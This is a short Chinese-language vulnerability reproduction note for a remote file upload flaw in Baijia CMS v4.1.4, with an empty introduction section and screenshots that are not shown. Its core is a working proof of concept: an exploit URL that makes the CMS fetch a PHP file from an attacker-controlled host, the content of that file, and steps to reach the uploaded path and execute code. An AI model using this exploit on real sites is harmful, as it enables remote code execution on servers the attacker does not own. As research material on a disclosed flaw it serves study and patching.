百家cms v4.1.4 远程文件上传漏洞.md

843 B / 2021-04-21 09:23:46
    百家cms v4.1.4 远程文件上传漏洞
===============================

一、漏洞简介
------------

二、漏洞影响
------------

百家cms v4.1.4

三、复现过程
------------

    # 需要后台权限
    http://www.0-sec.org/index.php?mod=web&do=file&m=public&op=fetch&url=http://xx.xx.xx.xx/test/test.php

远程服务器起一个/test/test.php，内容为\*\*\<?php echo \"\<?php
phpinfo();\";\*\*

![](./resource/百家cmsv4.1.4远程文件上传漏洞/media/rId24.png)

访问payload，得到路径

![](./resource/百家cmsv4.1.4远程文件上传漏洞/media/rId25.png)

访问路径，执行代码

![](./resource/百家cmsv4.1.4远程文件上传漏洞/media/rId26.png)

查看本地文件

![](./resource/百家cmsv4.1.4远程文件上传漏洞/media/rId27.png)

参考链接
--------

> https://xz.aliyun.com/t/7542